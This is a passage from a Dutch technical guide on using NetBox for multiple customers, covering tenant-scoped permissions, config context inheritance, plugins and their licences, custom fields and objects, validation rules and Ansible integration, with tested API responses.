mensen fout doen.\nEen tenant betekent toegewijd. Een router die maar één klant bedient krijgt zijn tenant. Een firewall die er vier bedient hoort bij geen van hen, dus die krijgt niets, en je legt de relatie vast op wat je werkelijk hebt verkocht. Een tenant op gedeelde apparatuur forceren maakt elk rapport dat op tenancy is gebouwd stilletjes verkeerd.\nEn toegang is een compleet eigen mechanisme.\nIn de permissions zit de isolatie NetBox\u0026rsquo; object permissions nemen een JSON-beperking, en de beperking is een Django-ORM-filter. Hij versmalt de queryset voordat er iets uit wordt gebouwd, dus elke weergave, export, API-aanroep en zoekopdracht wordt ermee versmald.\nDrie velden doen het werk. De objecttypes waarvoor hij geldt, de acties die hij toekent, en die beperking onderaan. Al het andere is boekhouding.\nHier is de apparatenlijst als beheerder.\nEn hier is dezelfde URL, dezelfde installatie, ingelogd als de klant.\nTwee regels in plaats van veertien, en kijk naar het menu links. Het is ingeklapt tot de vier dingen die dat account mag aanraken. Niemand heeft dat ingesteld. De navigatie wordt uit dezelfde permissions gebouwd, dus een klant ziet nooit een link naar iets wat hem zou weigeren.\nDe twee manieren waarop het nee zegt Dit is het detail dat je moet kennen, want de twee weigeringen betekenen iets anders en beide zijn bedoeld.\nHet token van de klant vraagt om Het krijgt /api/dcim/devices/ 200, één regel van twee /api/dcim/devices/1/, zijn eigen 200 /api/dcim/devices/2/, dat van iemand anders 404 /api/tenancy/tenants/ 403 /api/dcim/sites/, nooit toegekend 403 helemaal geen token 403 404 betekent dat het type het jouwe is maar die regel niet. De beperking heeft hem uit de queryset gehaald, dus voor het verzoek bestaat hij niet. Een 403 daar zou bevestigen dat hij bestaat, en een nieuwsgierige klant toestaan je bestand te tellen door de ID\u0026rsquo;s af te lopen.\n403 betekent dat het type nooit het jouwe was. Tenants en sites zijn nooit toegekend, dus die weigeren meteen, en de klant kan niet opsommen wie er nog op het platform zit.\nLaat ze dan schrijven Alleen-lezen is het makkelijke geval. De echte vraag is of je een klant met bewerkrechten die rechten kunt toevertrouwen, dus heb ik change onder dezelfde beperking toegekend en ben ik de uitweg gaan zoeken.\nPoging Resultaat Zijn eigen apparaat bewerken 200, opgeslagen Het apparaat van een andere klant bewerken 404 Zijn eigen apparaat bewerken en naar de tenant van de andere klant verplaatsen 403 Zijn eigen apparaat verwijderen 403, delete is nooit toegekend De derde regel is de belangrijke. Je eigen apparaat aan de tenant van iemand anders toewijzen is de voor de hand liggende ontsnapping, want het object zit bij aankomst van het verzoek binnen je beperking en erna erbuiten. NetBox beoordeelt de beperking tegen de toestand waarin het object zou achterblijven, dus het weigert. Ik heb het apparaat teruggelezen in plaats van op de statuscode te vertrouwen, en de tenant was niet verschoven.\nDat is het gat dat zelfgebouwde multi-tenancy meestal open laat, en het wordt normaal gevonden door een klant en niet door een test.\nVariabelen die moeten overerven Hier is het onderscheid dat mensen fout doen, en het goed doen scheelt veel bewerken.\nEen custom field is een waarde op één object. Je zet hem per object, en daar blijft hij. Goed voor een feit over het ding zelf: een asset tag, een supportcontractnummer, een ingebruiknamedatum.\nEen config context is een waarde die aan een eigenschap hangt, en die alles wat op die eigenschap past overerft. Goed voor een variabele die moet doorsijpelen: je NTP-servers, je syslog-bestemmingen, je SNMP-community, je DNS-domein, je management-VLAN, je backupvenster.\nBetrap je jezelf erop hetzelfde custom field op veertig apparaten op dezelfde waarde te zetten, dan wilde je een config context.\nEen context is willekeurige JSON, en hij kan aan een regio, site group, site, locatie, device type, rol, platform, cluster, cluster type, cluster group, tenantgroep, tenant of tag worden gehangen. Tenant staat in die lijst, en voor een provider betekent dat dat een feit dat overal voor één klant geldt hem volgt naar elk apparaat dat je ooit voor hem toevoegt.\nHet samenvoegen gaat per sleutel, en het gewicht bepaalt wie elke afzonderlijke wint.\nLees het rechterpaneel tegen het linker. De regio levert vier sleutels op gewicht 1000. De site levert één sleutel op gewicht 2000. De gerenderde context houdt het domein, de NTP-servers en de community van de regio onaangeroerd, en neemt de syslog-server van de site, want dat is de enige sleutel waar iets om heeft gestreden.\nJe schrijft de uitzondering, niet een verse kopie van alles met de uitzondering erin. Dat is de hele waarde, en het is waarom dit schaalt waar een variabelenbestand per apparaat dat niet doet.\nLokale context wint van alles erboven De overervingsstapel heeft een top, en dat is het object zelf. Local context data op een apparaat wint van elke source context die erop van toepassing is, wat de gewichten ook zijn.\nIk heb dit op mcr1-core-01 gezet:\n{\u0026#34;syslog_servers\u0026#34;: [\u0026#34;10.20.10.99\u0026#34;], \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;} en zijn gerenderde context werd:\n{ \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;, \u0026#34;domain\u0026#34;: \u0026#34;mcr1.example.net\u0026#34;, \u0026#34;ntp_servers\u0026#34;: [\u0026#34;172.16.10.22\u0026#34;, \u0026#34;172.16.10.33\u0026#34;], \u0026#34;snmp_community\u0026#34;: \u0026#34;n0rthwest\u0026#34;, \u0026#34;syslog_servers\u0026#34;: [\u0026#34;10.20.10.99\u0026#34;] } De lokale syslog-server versloeg zowel de site-override op gewicht 2000 als de regio op gewicht 1000. Alles waarover hij niets zei is alsnog overgeërfd, dus het domein, de NTP-servers en de community kwamen onaangeroerd door, en de nieuwe sleutel werd simpelweg toegevoegd.\nDat is de nooduitgang voor die ene kast die echt anders is, en het paneel vertelt je ronduit dat het alle source contexts overschrijft. Betrap je jezelf erop het op veel apparaten te gebruiken in plaats van op één, dan heb je een eigenschap gevonden die die apparaten delen en wilde je een context die daarop is afgebakend.\nDrie valkuilen Een context zonder afbakening is globaal. Maak er een en vergeet hem aan iets toe te wijzen, en hij geldt voor elk apparaat en elke virtuele machine die je hebt. Dat is gedocumenteerd gedrag en soms wat je wilt. Het is ook geruisloos.\nSleutels mogen geen streepjes hebben als je ze eenvoudig wilt bereiken. Contextdata is JSON, dus ntp-servers is volkomen legaal, maar Jinja-variabelenamen zijn geen JSON-sleutels. {{ ntp-servers }} wordt als aftrekking geparseerd en werpt UndefinedError: 'ntp' is undefined. Schrijf {{ ntp_servers }} tegen data met streepjes en je krijgt een lege string, HTTP 200, en nergens een waarschuwing. Gebruik underscores in de sleutels en het voor de hand liggende template werkt.\nEen profiel kan de typefouten stoppen. Een config context-profiel groepeert verwante contexts en dwingt bij het opslaan een JSON-schema op hun data af. Ik heb er een een schema gegeven dat syslog_servers als array van IPv4-strings eist, en daarna de twee fouten gemaakt die mensen echt maken:\n{\u0026#34;syslog-server\u0026#34;: [\u0026#34;10.1.1.1\u0026#34;]} singular, by accident 400 Data does not conform to profile schema: \u0026#39;syslog-servers\u0026#39; is a required property {\u0026#34;syslog_servers\u0026#34;: [...], \u0026#34;syslog_port\u0026#34;: 99999} 400 Data does not conform to profile schema: 99999 is greater than the maximum of 65535 Geweigerd waar iemand ze maakte, in plaats van vierhonderd apparaten later.\nDe configuratie renderen Contextdata plus een Jinja-template geeft je een configuratiebestand. Het apparaat zit in scope als device, zijn samengevoegde context zit in scope als gewone variabelen, en je kunt zijn componenten aflopen.\nAlles op die pagina kwam ergens anders vandaan, en dat is het punt:\nRegel Waar hij vandaan kwam host-name mcr1-core-01 van het apparaat domain-name mcr1.example.net van de regionale config context location \u0026quot;Manchester DC1 / MCR1-A07 / U39\u0026quot; van de site, het rack en de positie erin server 172.16.10.22 van de regionale context, gewicht 1000 host 10.20.10.99 any notice van de eigen lokale context van het apparaat, die zowel de site als de regio verslaat family inet address 10.20.10.11/24 van het adres op die interface, met het masker zoals getypt Het template wordt opgelost via het apparaat, dan de rol, dan het platform, en het verzoek mislukt als geen van de drie er een heeft. Je wijst dus één keer een template aan een platform toe, en elk apparaat dat die software draait rendert eruit, tenzij zijn rol of het apparaat zelf iets anders zegt. Daar is een platform voor: het besturingssysteem of de softwarefamilie van de fabrikant, niet de hardware.\nNetBox rendert. Het pusht niet. De uitvoer op de kast krijgen is de taak van jouw automatisering, en op de dag dat een templatefout anders vierhonderd apparaten had herconfigureerd, ben je blij dat dat twee verschillende systemen zijn.\nPlugins Een plugin is een Django-applicatie die naast NetBox wordt geïnstalleerd. Hij kan modellen toevoegen, pagina\u0026rsquo;s toevoegen, beide API\u0026rsquo;s uitbreiden, inhoud in bestaande templates injecteren, navigatie toevoegen, achtergrondtakenwachtrijen toevoegen en verdere Django-apps laden. Er is heel weinig wat hij niet kan, want eronder is het gewoon Django.\nEr een installeren is vier commando\u0026rsquo;s en een herstart:\nsource /opt/netbox/venv/bin/activate pip install netbox-topology-views netbox-qrcode # add the package names to PLUGINS in configuration.py, then python3 manage.py migrate python3 manage.py collectstatic --no-input sudo systemctl restart netbox netbox-rq Op de container-stack gaan dezelfde pakketten in plugin_requirements.txt en bouw je de image opnieuw. In beide gevallen: pin de versies en controleer eerst de compatibiliteitsmatrix, want een plugin die een NetBox-release niet heeft bijgehouden weigert de hele applicatie te starten in plaats van zichzelf uit te schakelen.\nDe gepubliceerde catalogus noemt er 31. Dit zijn de plugins die het waard zijn te kennen, met de licentie waaronder elk werkelijk wordt uitgebracht:\nPlugin Wat hij doet Licentie DNS Zones, records en nameservers als source of truth MIT BGP Sessies, communities en routing-policies Apache 2.0 Topology Views Grafische topologiekaarten, gebouwd uit je kabels Apache 2.0 Floorplan Grafische site- en locatiekaarten LGPL 3.0 QR Code Codes op racks, apparaten en kabels, voor assetlabels Apache 2.0 ACLs Access lists en regels Apache 2.0 Prometheus SD Levert Prometheus zijn hostlijst rechtstreeks uit NetBox MIT Documents Documenten gekoppeld aan circuits en apparaten Apache 2.0 Lifecycle Hardware end of life, licenties en contracten Apache 2.0 Contract Contracten en facturen MIT Reorder Rack Rack-units verslepen Apache 2.0 Branching Geïsoleerde, samenvoegbare branches van je data NetBox Limited Use Custom Objects Nieuwe objecttypes, in de UI gedefinieerd NetBox Limited Use Prometheus SD is de eerlijke vorm van het hele idee. NetBox weet wat er bestaat, dus laat NetBox het aan de monitoring vertellen, en stop met het onderhouden van een tweede hostlijst die uit elkaar loopt.\nEén ding om te weten voordat je op de laatste twee regels bouwt. NetBox zelf is Apache 2.0 en is dat sinds DigitalOcean het in 2016 vrijgaf, en het project wordt vandaag beheerd door NetBox Labs samen met een team vrijwillige maintainers.21 NetBox Branching en NetBox Custom Objects zijn dat niet: ze worden uitgebracht onder de NetBox Limited Use License 1.0, die gebruik toestaat “only as part of a NetBox installation obtained from NetBox Labs or a NetBox distributor authorized by NetBox Labs, and only for your own internal use”, en die niet het recht geeft de software te gebruiken “to provide a managed service or software products that includes, integrates with, or extends NetBox in a way that competes with any product or service of NetBox Labs”. Heb je NetBox Community van GitHub geïnstalleerd en draai je het namens klanten, lees dan zelf de voorwaarden voordat je er een schema achter zet.10 NetBox\u0026rsquo; eigen installatiehandleiding beveelt beide plugins aan zonder het te vermelden.11\nCustom fields Een custom field voegt een attribuut toe aan een bestaand model. Waarden worden als JSON naast elk object opgeslagen, dus er is geen migratie en geen herstart, en er zijn dertien types waaronder object- en multi-objectverwijzingen naar andere NetBox-records.\nTwee velden daar, gegroepeerd onder een kopje “Asset” dat ik heb gekozen. Let op het paneel Dimensions rechts ervan: 9,5 kg, die niemand op dit apparaat heeft getypt. Ze kwamen van het apparaattype.\nCustom fields worden gevalideerd, en het is de moeite te weten dat ze dat worden, want het is een echt verschil met de route hieronder. Ik heb het contractveld een reguliere expressie gegeven en de API dwong die af:\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_contract\u0026#34;: \u0026#34;nonsense\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_contract\u0026#39;: Value must match regex \u0026#39;^[A-Z]{2,4}-[0-9]{6}$\u0026#39;\u0026#34;]} Twee dingen zijn in 4.7 veranderd die op schaal uitmaken. Een veld aanmaken met een standaardwaarde, of een veld verwijderen, moet de opgeslagen data van elk object waarvoor het geldt herschrijven, dus op een grote tabel wordt dat werk aan een achtergrondtaak gegeven en meldt het veld “provisioning” of “deleting” terwijl die loopt. Een veld is alleen live zolang het actief is: tijdens een van die twee operaties verschijnt het niet op objecten, niet in formulieren, niet in filters en in geen van beide API\u0026rsquo;s. Daar moet een worker voor draaien, anders blijft het onbeperkt in die toestand.\nGebruik een custom field als je een feit over het ding zelf toevoegt. Gebruik een config context als de waarde moet doorsijpelen. Gebruik de volgende sectie als het ding dat je nodig hebt niet bestaat.\nEigen keuzemenu\u0026rsquo;s, en overschrijven wat wordt meegeleverd Twee verschillende mechanismen wonen onder dit kopje en ze lossen verschillende problemen op. Het ene is voor je eigen velden. Het andere herschrijft die van NetBox.\nEen choice set, voor je eigen keuzeveld Een custom field van het type “selection” haalt zijn opties uit een choice set, een object dat je in de UI beheert zoals al het andere. Zo wordt “support tier” een echte dropdown in plaats van vrije tekst die iemand op drie manieren spelt.\nHet wordt afgedwongen, ook via de API:\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_tier\u0026#34;: \u0026#34;platinum\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_tier\u0026#39;: Invalid choice (platinum) for choice set Support tier.\u0026#34;]} Choice sets worden gedeeld, dus één set kan hetzelfde veld op meerdere modellen voeden, en de lijst op één plek wijzigen wijzigt hem overal.\nFIELD_CHOICES, voor NetBox\u0026rsquo; eigen velden Dit is degene waarvan mensen niet weten dat hij bestaat. Meerdere ingebouwde keuzevelden van NetBox kunnen vanuit configuration.py worden uitgebreid of vervangen, waaronder apparaatstatus, sitestatus, rackstatus, circuitstatus en nog veel meer.12\nZet een plus erachter om toe te voegen aan wat wordt meegeleverd. Laat hem weg om de lijst helemaal te vervangen.\nFIELD_CHOICES = { # add to what NetBox ships with \u0026#39;dcim.Device.status+\u0026#39;: ( (\u0026#39;burn-in\u0026#39;, \u0026#39;Burn-in\u0026#39;, \u0026#39;cyan\u0026#39;), {\u0026#39;value\u0026#39;: \u0026#39;awaiting-rma\u0026#39;, \u0026#39;label\u0026#39;: \u0026#39;Awaiting RMA\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;orange\u0026#39;, \u0026#39;description\u0026#39;: \u0026#39;Faulty, with the vendor\u0026#39;}, ), # replace the stock list outright \u0026#39;dcim.Site.status\u0026#39;: ( (\u0026#39;surveyed\u0026#39;, \u0026#39;Surveyed\u0026#39;, \u0026#39;purple\u0026#39;), (\u0026#39;building\u0026#39;, \u0026#39;Building out\u0026#39;, \u0026#39;orange\u0026#39;), (\u0026#39;active\u0026#39;, \u0026#39;Active\u0026#39;, \u0026#39;green\u0026#39;), (\u0026#39;closing\u0026#39;, \u0026#39;Closing\u0026#39;, \u0026#39;red\u0026#39;), ), } Precies dat heb ik op deze instantie gezet. De apparaatstatus kwam terug met de zeven standaardwaarden én mijn twee:\noffline, active, planned, staged, failed, inventory, decommissioning, burn-in, awaiting-rma en de sitestatus kwam terug met alleen de mijne, de standaardlijst verdwenen:\nsurveyed, building, active, closing Een keuze kan een eenvoudige tuple van waarde, label en kleur zijn, of een dictionary die ook een beschrijving neemt die als ondertitel in het formulier wordt getoond. En ze gedragen zich overal als native waarden, want voor de rest van NetBox zijn ze native waarden:\nDie badge is mijn status, in mijn kleur, die sorteert en filtert als elke andere.\nDrie dingen om te weten voordat je het gebruikt.\nVervangen verwijdert de standaardwaarden uit het menu, niet uit de database. Elk object dat er al een van heeft houdt hem, maar de waarde wordt niet meer aangeboden en is geen geldige keuze meer als iemand dat object de volgende keer bewerkt. Vervang je een lijst, controleer dan dat er niets op een waarde zit die je net hebt weggehaald.\nHet staat in het configuratiebestand, dus het vraagt een herstart en het is niets wat een UI-gebruiker kan wijzigen. Voor een provider is dat de juiste kant op: welke statussen jouw bedrijf erkent is een governancebeslissing, geen beslissing op een dinsdagmiddag.\nBreid uit voordat je vervangt. De standaardwaarden zijn wat elke plugin, elk script en elke integratie verwacht te zien. Toevoegen kost niets. Vervangen is een beslissing die je voor altijd bezit.\nCustom objects Hier is een echt gat. NetBox modelleert clusters, virtuele machines en virtuele disks. Het modelleert niet de datastore waar die disks echt op staan, en voor iedereen die Proxmox of VMware draait is dat het object dat de opslag die je hebt gekocht verbindt met de last die hem gebruikt.\nDe Custom Objects-plugin laat je een nieuw objecttype vanuit de UI of de API definiëren, zonder code te schrijven. Dus:\nZeven velden, waarvan twee het hele punt zijn. cluster is een enkelvoudige objectverwijzing naar een echt NetBox-cluster, op protect gezet zodat niemand een cluster onder zijn opslag weg kan verwijderen. provisioned_by is een multi-objectverwijzing naar de apparaten die hem werkelijk leveren.\nDat geeft je een eersteklas object met zijn eigen navigatie-item, lijstweergave, filters, import en export:\nEn omdat de verwijzingen echt zijn, laat de relatie zich ook van de andere kant zien. Open het cluster en de datastores staan ertegen vermeld.\nEen custom object type erft het meeste van wat een NetBox-object een NetBox-object maakt: lijst- en detailweergaven, een navigatie-item, REST-endpoints, full-text zoeken, change logging, journaling, tags, bookmarks, import en export, event rules en meldingen. Niets daarvan hoefde geschreven te worden.\nHet is ook geen JSON-blob die zich voordoet als tabel. De plugin zet echte DDL af, en wat in PostgreSQL verschijnt is een echte tabel met echte constraints:\nTable \u0026#34;public.custom_objects_2\u0026#34; Column | Type | Nullable | Default -----------------+----------+----------+------------------ id | bigint | not null | identity name | varchar | | cluster_id | bigint | | backing | varchar | | capacity_gb | bigint | | thin_provisioned| boolean | | Indexes: \u0026#34;custom_objects_2_name_key\u0026#34; UNIQUE CONSTRAINT, btree (name) Foreign-key constraints: ... FOREIGN KEY (cluster_id) REFERENCES virtualization_cluster(id) ON DELETE RESTRICT De protect waar ik om vroeg werd ON DELETE RESTRICT, en het werkt: dat cluster verwijderen komt terug als 409 met de naam van wat ervan afhangt.\nTwee dingen om te weten voordat je erop vertrouwt De validatie zit op het formulier, niet op de API. Dit is degene die een automatisering zou pakken. Ik heb required, een reguliere expressie en numerieke grenzen op de velden van een custom object type gedeclareerd, en er daarna via de REST-API naartoe geschreven:\nWat ik declareerde Wat ik stuurde Resultaat validation_regex een waarde die op niets past 201 Created required: true het veld helemaal weggelaten 201 Created validation_minimum: 1 een negatief getal 201 Created unique: true een duplicaat 400, geweigerd on_delete_behavior: protect het verwezen object verwijderen 409, geweigerd De twee die hielden zijn de twee die databaseconstraints werden. De rest bestaat alleen op het webformulier, dus een mens die typt wordt beperkt en een nachtelijke sync niet. Vergelijk dat met het core custom field hierboven, waar dezelfde reguliere expressie via de API werd afgedwongen. Tot dat verandert: zet alles waar een factuur van afhangt achter een echt constraint.\nEen type verwijderen laat een tabel vallen. Een veld verwijderen laat een kolom vallen. Dat is DDL vanuit een webformulier, uitgevoerd door wie de permissie ook heeft, en de documentatie zegt precies dat.13 Beperk wie deze mag verwijderen.\nWanneer je in plaats daarvan een echte plugin schrijft Als het object belangrijk is, als automatisering erop schrijft, en als je het erg zou vinden er rommel in te vinden, schrijf het model dan zelf. Een minimale NetBox-plugin is een PluginConfig, een model, een serializer, een viewset, een tabel, een formulier, een paar views en een URL-map, en het komt op onder tweehonderd regels van overwegend declaraties. PrimaryModel subclassen geeft je gratis tags, custom fields, change logging, journaling, export-templates en eigenaarschap, en elk constraint dat je op het model zet wordt overal afgedwongen, want NetBox\u0026rsquo; eigen serializer-machinerie voert het uit.\nEr is een cookiecutter-template en een volledige plugin-tutorial, door de community onderhouden. Begin daarmee in plaats van met een lege map.\nEn het is de licentie die jij kiest, wat niemand later kan veranderen.\nCustom validation en validatieklassen Alles hierboven gaat over vastleggen wat er is. Dit gaat over weigeren vast te leggen wat er niet zou moeten zijn.\nNetBox valideert elk object voordat het het schrijft, en je kunt er je eigen regels bovenop leggen. Er zijn drie mechanismen, ze wonen allemaal in configuration.py, en samen dekken ze bijna alles wat een huisstandaard nodig heeft.\nEén: eenvoudige regels, geen code Een validator kan een eenvoudige toewijzing van veldnamen aan voorwaarden zijn. Geen Python, en het is overdraagbaar tussen installaties omdat het alleen data is.\nCUSTOM_VALIDATORS = { \u0026#39;dcim.site\u0026#39;: ( {\u0026#39;description\u0026#39;: {\u0026#39;required\u0026#39;: True}}, ), \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, ), } De beschikbare voorwaarden zijn min, max, min_length, max_length, regex, required, prohibited, eq en neq. Je kunt met een puntpad in een gerelateerd object reiken, dus region.name op een site mag, en je kunt op request.user.username matchen, al zegt de documentatie je volkomen terecht daarvoor liever permissions te gebruiken.\nBeide regels vuren direct:\nPOST a site with no description {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for description: [\u0026#39;This field must not be empty.\u0026#39;]\u0026#34;]} POST a device named \u0026#34;Server1\u0026#34; {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for name: [\u0026#39;Enter a valid value.\u0026#39;]\u0026#34;]} Die tweede is een naamgevingsstandaard, afgedwongen. Niet op een wikipagina geschreven, niet in iemands hoofd, geen ding waarover de nieuwe drie weken later in een review wordt aangesproken. De database neemt het niet aan.\nTwee: een validatorklasse, als de regel een zin is Eenvoudige regels toetsen één veld tegen een constante. Echte huisregels zijn meestal voorwaardelijk: dit doet alleen mee als dat. Daarvoor subclass je CustomValidator, overschrijf je validate() en roep je fail() aan.\nIk heb er drie in een module op /opt/netbox/netbox/house_rules.py gezet:\nfrom extras.validators import CustomValidator class BillableKitNamesItsCustomer(CustomValidator): \u0026#34;\u0026#34;\u0026#34;Anything in a role we sell has to say whose it is.\u0026#34;\u0026#34;\u0026#34; BILLABLE_ROLES = {\u0026#39;hypervisor\u0026#39;} def validate(self, instance, request): role = getattr(instance, \u0026#39;role\u0026#39;, None) if role and role.slug in self.BILLABLE_ROLES and not instance.tenant: self.fail( f\u0026#34;A {role} is billable kit, so it must name the customer it belongs to.\u0026#34;, field=\u0026#39;tenant\u0026#39;, ) class RackedDeviceNeedsAPosition(CustomValidator): \u0026#34;\u0026#34;\u0026#34;A device in a rack with no rack unit is a device nobody can find.\u0026#34;\u0026#34;\u0026#34; def validate(self, instance, request): if instance.rack and instance.position is None: if instance.device_type and instance.device_type.u_height: self.fail( \u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;, field=\u0026#39;position\u0026#39;, ) en ze via een puntpad aangesloten:\nCUSTOM_VALIDATORS = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, \u0026#39;house_rules.BillableKitNamesItsCustomer\u0026#39;, \u0026#39;house_rules.RackedDeviceNeedsAPosition\u0026#39;, ), \u0026#39;ipam.prefix\u0026#39;: ( \u0026#39;house_rules.CustomerPrefixNeedsATenant\u0026#39;, ), } Merk op dat een model een tuple van validators neemt, eenvoudige regels en klassen vrij gemengd, en dat ze allemaal lopen. Zelfs een enkele validator moet als iterable worden doorgegeven, en dat zijn makkelijk vijf verloren minuten.\nDan doen de regels wat ze zeggen:\nPOST a hypervisor with no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} POST a device into a rack with no position {\u0026#34;position\u0026#34;: [\u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;]} POST a prefix with role \u0026#34;customer\u0026#34; and no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A customer prefix must be assigned to a tenant.\u0026#34;]} POST a leaf switch with no tenant accepted, because a leaf switch is not in BILLABLE_ROLES Omdat fail() een field neemt, landt de melding op het juiste vakje in het formulier in plaats van bovenaan de pagina, en dat is het verschil tussen een regel die mensen leren en een regel die mensen kwalijk nemen.\nDat is ook het antwoord op het gat in de sectie over custom objects. De validatie daar bestond alleen op het webformulier. Een CustomValidator loopt in de modellaag, dus hij geldt voor de UI, de REST-API, GraphQL-mutaties, bulk-imports en alles wat een script doet. Er is één plek waar de regel wordt geschreven en geen manier eromheen.\nDrie: protection rules, voor verwijderen CUSTOM_VALIDATORS waakt over schrijfacties. PROTECTION_RULES waakt over verwijderacties, en neemt precies dezelfde twee vormen.\nPROTECTION_RULES = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;status\u0026#39;: {\u0026#39;eq\u0026#39;: \u0026#39;offline\u0026#39;}}, ), } Dat zegt dat een apparaat alleen verwijderd kan worden als het offline is. Wat dit oplevert:\nDELETE an active device {\u0026#34;detail\u0026#34;: \u0026#34;Deletion is prevented by a protection rule: [\\\u0026#34;Custom validation failed for status: [\u0026#39;Ensure this value is equal to offline.\u0026#39;]\\\u0026#34;]\u0026#34;} set it to offline, then DELETE 204 No Content Twee toetsaanslagen wrijving tussen iemand en een live apparaat, en het is de goedkoopste verzekering in de hele applicatie. Maak het uitfaseringsproces tot het ding dat de verwijderknop ontgrendelt.\nDegene die je gaat pakken Bestaande data wordt niet gecontroleerd tot je hem de volgende keer aanraakt. Een regel toevoegen gaat niet terug om te valideren wat er al staat. Hij ligt stil tot iemand een object opslaat dat hem breekt, en dan krijgt die persoon een fout over een beslissing waar hij niets mee te maken had.\nIk heb het zien gebeuren. mcr1-hv-06 is aangemaakt voordat ik hier iets van had geschreven, als hypervisor zonder tenant. Hij stond daar volkomen tevreden. Toen bewerkte ik zijn beschrijving:\nPATCH {\u0026#34;description\u0026#34;: \u0026#34;touching it to trigger revalidation\u0026#34;} {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} De bewerking had niets met de tenant te maken. De regel vuurde toch, want de validatie loopt over het hele object.\nDat is correct gedrag en het is ook hoe een nieuwe regel in een supportticket verandert. Voordat je er een aanzet, vraag de objecten op die eraan zouden falen en repareer die eerst. De API maakt dat makkelijk: de regel is een filter, dus vraag de apparaten op met die rol en zonder tenant, en je hebt je lijst.\nZet de regel daarna aan. Dan pakt hij alleen nog nieuwe fouten, en daar is hij voor.\nHet besturen vanuit Ansible Een source of truth die niemand leest verrot. De collection netbox.netbox is hoe de meeste mensen dat voorkomen, en hij werkt in beide richtingen: NetBox vertelt Ansible wat er bestaat, en Ansible vertelt NetBox wat het heeft gebouwd.\nHij staat op versie 3.23.0, is gelicentieerd onder GPL-3.0, en is meer dan 13,4 miljoen keer van Galaxy gehaald. Hij draagt 91 modules en één inventory-plugin.14 Alles hieronder is uitgevoerd tegen diezelfde instantie, uit een container met niets anders erin dan ansible-core 2.21.4, pynetbox 7.8.0 en de collection.\nDe inventaris is een query, geen bestand Dit is de helft die zich op de eerste middag terugbetaalt. nb_inventory bouwt je Ansible-inventaris rechtstreeks uit NetBox:\nplugin: netbox.netbox.nb_inventory api_endpoint: http://netbox:8080 token: \u0026#34;{{ lookup(\u0026#39;env\u0026#39;, \u0026#39;NETBOX_TOKEN\u0026#39;) }}\u0026#34; config_context: false group_by: - sites - device_roles - tenants - racks device_query_filters: - has_primary_ip: true Dat levert dit op, zonder dat iemand een hostlijst onderhoudt:\n@sites_manchester-dc1: @device_roles_hypervisor: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 |--mcr1-hv-01 |--mcr1-hv-03 |--mcr1-hv-02 |--mcr1-hv-04 ... |--mcr1-hv-05 @racks_MCR1-A07: @tenants_ravenscroft-legal: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 ... @tenants_padgate-foods: @device_roles_core-router: |--mcr1-hv-03 |--mcr1-core-01 |--mcr1-hv-04 |--mcr1-core-02 @tenants_hartley-components: |--mcr1-hv-05 Kijk naar de rechterkolom. Omdat tenancy op de apparaten is gezet, krijg je gratis een groep per klant, dus --limit tenants_ravenscroft-legal voert een play uit tegen precies de apparatuur van één klant. Voeg een apparaat toe in NetBox en het zit bij de volgende run in de groep. Faseer er een uit en het is weg. Niemand bewerkt iets.\nElke host komt aan met wat NetBox over hem weet:\nansible_host \u0026#34;2001:db8:20:20::11\u0026#34; primary_ip4 \u0026#34;10.20.20.11\u0026#34; primary_ip6 \u0026#34;2001:db8:20:20::11\u0026#34; device_roles [\u0026#34;hypervisor\u0026#34;] sites [\u0026#34;manchester-dc1\u0026#34;] racks [\u0026#34;MCR1-A07\u0026#34;] tenants [\u0026#34;ravenscroft-legal\u0026#34;] device_types [\u0026#34;sys-1029u-tn10rt\u0026#34;] manufacturers [\u0026#34;supermicro\u0026#34;] status {\u0026#34;label\u0026#34;: \u0026#34;Active\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;active\u0026#34;} Tweeëntwintig sleutels in totaal, en één ervan is het waard op te merken voordat hij je verrast. ansible_host is het IPv6-adres, omdat dat apparaat een primair v6 heeft staan. Ik heb het nagekeken tegen twee andere die alleen v4 hebben en die kwamen terug met v4, dus de regel is dat de plugin v6 verkiest waar een primair v6 bestaat. Wat correct is, en ook het soort ding dat je liever nu ontdekt dan terwijl je je afvraagt waarom een play verbindt over een pad waar je niet aan had gedacht.\nTerugschrijven De modules zijn de andere richting, en degene die je wil hebben is IP-uitgifte, want NetBox weet wat vrij is en jouw playbook niet.\n- name: Rack the device netbox.netbox.netbox_device: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: name: mcr1-hv-07 device_type: SYS-1029U-TN10RT device_role: Hypervisor site: Manchester DC1 rack: MCR1-A07 position: 14 face: Front tenant: Hartley Components state: present - name: Let NetBox pick the next free address out of the customer prefix netbox.netbox.netbox_ip_address: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: prefix: 10.20.22.0/24 tenant: Hartley Components assigned_object: device: mcr1-hv-07 name: eno1 state: new Let 